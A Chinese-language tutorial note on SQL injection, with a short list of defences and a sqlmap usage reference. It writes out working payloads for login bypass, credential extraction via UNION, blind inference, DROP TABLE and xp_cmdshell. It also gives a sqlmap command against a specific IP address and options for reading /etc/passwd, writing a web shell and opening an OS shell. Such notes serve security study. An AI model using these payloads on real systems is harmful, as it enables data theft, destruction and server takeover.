SQL 注入的产生是因为程序在处理数据时,错误的将用户输入的内容拼接到 SQL 语句中执行。
一、类型
基础型
- 通过 or 语句,结合单引号 ' 提前闭合 SQL 语句,从而实现绕过校验的效果。
sql
SELECT * FROM users WHERE username = 'admin' AND password = 'anything' OR '1'='1';
# payload 为 anything' OR '1'='1
- 通过注释,提前结束 SQL 语句,从而实现绕过校验的效果
sql
SELECT * FROM users WHERE username = 'admin' -- ' AND password = 'anything';
# payload 为 admin' -- (* 这里注意,对 MYSQL 而言,-- 注释后面至少需要跟一个 空格,才能被识别为注释)
UNION 查询注入
通过 UNION 查询注入,可以实现执行我们拼接的其它 SQL 语句,从而实现查询敏感数据。
注意:要求前后语句查询结果的列数一致
sql
SELECT id, name FROM products WHERE id = '' UNION SELECT username, password FROM users -- ';
payload 为 ' UNION SELECT username, password FROM users --
sql
select id,username,display_name,role_name from lab_users where username = '' UNION SELECT '1', 'test', @@version, 'test' -- ' and password_demo = '' OR '1'='1'
payload 为 ' UNION SELECT '1', 'test', @@version, 'test' --
sql
-- 当前数据库名
' UNION SELECT '1', 'test', database(), 'test' --
-- 当前连接用户
' UNION SELECT '1', 'test', user(), 'test' --
-- 所有数据库列表
' UNION SELECT '1', 'test', (SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata), 'test' --
错误型 SQL 注入
通过触发数据库报错,从而带出一些数据库信息。
注:前提是前端/响应包会回显错误信息。
sql
SELECT id,username,display_name,role_name
FROM lab_users
WHERE username = '' AND 1=CAST((SELECT @@version) AS UNSIGNED) -- ' and password_demo = '' OR '1'='1'
payload 为 ' AND 1=CAST((SELECT @@version) AS UNSIGNED) --
盲注
通过页面的响应情况逐步推断数据。
注:可以执行SQL语句,但是页面不直接显示查询结果
- 布尔型盲注:利用正确错误的不同,实现判断
sql
SELECT * FROM users WHERE username = '' AND (SELECT 1 WHERE SUBSTRING((SELECT database()), 1, 1)='t') -- ';
payload 为 ' AND (SELECT 1 WHERE SUBSTRING((SELECT database()), 1, 1)='t') --
- 时间型盲注:利用响应时间的不同,实现判断
sql
SELECT * FROM users WHERE username = '' AND IF(1=1, SLEEP(5), 0) -- ';
payload 为 ' AND IF(1=1, SLEEP(5), 0) --
堆叠条件注入
注:MySQL 不支持
sql
SELECT * FROM users WHERE username = ''; DROP TABLE users; --';
存储过程注入(特指 Microsoft SQL Server(MSSQL))
xp_cmdshell: SQL Server 独有的扩展存储过程,作用是调用操作系统的命令行(cmd.exe)来执行系统命令。其他数据库(如 MySQL、Oracle、PostgreSQL)中不存在。(SQL Server 默认已禁用)
sql
'; EXEC xp_cmdshell('dir'); --
Cookie 注入
服务器在解析 Cookie 时执行了 SQL 查询
bash
Cookie: session_id=' OR '1'='1;
二、防御
- 参数化查询和预编译语句:用户输入与 SQL 语句分离
- ORM 框架:自动生成 SQL 执行
- 输入验证:转义特殊字符
- 数据库权限:最小权限
三、SQLMap 的使用
SQLMap 是一款开源的自动化 SQL 注入检测与利用工具,支持多种数据库(MySQL、PostgreSQL、Oracle、MSSQL、SQLite 等)。
- 检测一个 URL 是否存在 SQL 注入
bash
# 测试一个 URL 是否存在 SQL 注入
python sqlmap.py -u "http://example.com/page.php?id=1"
# 测试 POST 请求
python sqlmap.py -u "http://example.com/login.php" --data="username=admin&password=123"
python sqlmap.py -u "http://47.104.184.55:8080/modules/sql-injection/login" --data="username=test&password=test"
- 常用参数
- 来源
| 参数 | 说明 | 示例 |
|---|---|---|
-u URL |
指定目标 URL | -u "http://site.com/page?id=1" |
-g GOOGLE_DORK |
通过 Google 搜索结果批量测试 | -g "inurl:php?id=" |
-m FILE |
从文件中读取多个目标 URL | -m targets.txt |
-r FILE |
从文件加载 HTTP 请求(抓包保存的请求) | -r request.txt |
--crawl=DEPTH |
爬取目标站点并自动测试 | --crawl=3 |
- 请求参数
| 参数 | 说明 | 示例 |
|---|---|---|
--method=METHOD |
指定 HTTP 方法 | --method=PUT |
--data=DATA |
指定 POST 数据 | --data="id=1&name=test" |
--cookie=COOKIE |
指定 Cookie | --cookie="PHPSESSID=abc123" |
--headers=HEADERS |
添加额外 HTTP 头 | --headers="X-Forwarded-For: 1.1.1.1" |
--user-agent=UA |
自定义 User-Agent | --user-agent="Mozilla/5.0..." |
--random-agent |
随机使用 User-Agent | |
--proxy=PROXY |
使用代理 | --proxy="http://127.0.0.1:8080" |
--tor |
通过 Tor 网络访问 | |
--delay=SECONDS |
请求间隔延迟(秒) | --delay=2 |
--timeout=SECONDS |
超时时间 | --timeout=30 |
--retries=RETRIES |
连接失败重试次数 | --retries=3 |
- 注入检测参数
| 参数 | 说明 | 示例 |
|---|---|---|
-p PARAM |
指定要测试的参数 | -p "id" |
--dbms=DBMS |
手动指定数据库类型(跳过识别) | --dbms=mysql |
--level=LEVEL |
测试等级(1-5,默认1) | --level=3 |
--risk=RISK |
风险等级(1-3,默认1) | --risk=2 |
--technique=TECH |
指定注入技术类型 | --technique=BEUSTQ |
--prefix=PREFIX |
手动指定注入前缀 | --prefix="')" |
--suffix=SUFFIX |
手动指定注入后缀 | --suffix="-- -" |
- level 等级说明:
1:仅测试 GET/POST 参数(默认)
2:增加 Cookie 测试
3:增加 User-Agent / Referer 测试
4:更广泛的 payload 测试
5:最全面,包含所有可能的注入点
- risk 等级说明:
1:基本无副作用的测试(默认)
2:增加基于时间的盲注等
3:增加 OR 型注入(可能修改数据)
- technique 技术类型:
B:Boolean-based blind(布尔盲注)
E:Error-based(报错注入)
U:Union query-based(联合查询注入)
S:Stacked queries(堆叠查询)
T:Time-based blind(时间盲注)
Q:Inline queries(内联查询)
- 数据提取参数
| 参数 | 说明 | 示例 |
|---|---|---|
--dbs |
列出所有数据库 | |
--current-db |
获取当前数据库名 | |
--current-user |
获取当前数据库用户 | |
-D DB |
指定数据库 | -D testdb |
--tables |
列出指定数据库的所有表 | -D testdb --tables |
--columns |
列出指定表的所有列 | -D testdb -T users --columns |
--dump |
导出表数据 | -D testdb -T users --dump |
-T TABLE |
指定表名 | -T users |
-C COL |
指定列名(逗号分隔) | -C "username,password" |
--count |
获取表中的记录数 | |
--schema |
获取数据库整体架构信息 | |
--passwords |
提取用户密码哈希 | |
--privileges |
查看用户权限 | |
--roles |
查看用户角色 | |
--is-dba |
判断当前用户是否为 DBA |
- 文件操作参数
| 参数 | 说明 | 示例 |
|---|---|---|
--file-read=FILE |
读取服务器上的文件 | --file-read="/etc/passwd" |
--file-write=FILE |
向服务器写入文件 | --file-write="shell.php" |
--file-dest=DEST |
指定写入的目标路径 | --file-dest="/var/www/shell.php" |
- 操作系统操作函数
| 参数 | 说明 | 示例 |
|---|---|---|
--os-cmd=CMD |
执行操作系统命令 | --os-cmd="whoami" |
--os-shell |
获取交互式操作系统 Shell | |
--os-pwn |
获取 Meterpreter 会话 | |
--os-smbrelay |
通过 SMB 中继提权 |
SQL 注入 GetShell 说明
MySQL
通过 outfile 和 dumpfile 写 shell
- 数据库当前用户为 root 权限;
- 关闭 secure-file-priv
- 知道当前网站的绝对路径;
- 写入路径存在写入权限。
MySQL 提权
UDF 提权:这个博主写的好
SQL Server
- xp_cmdshell 存储过程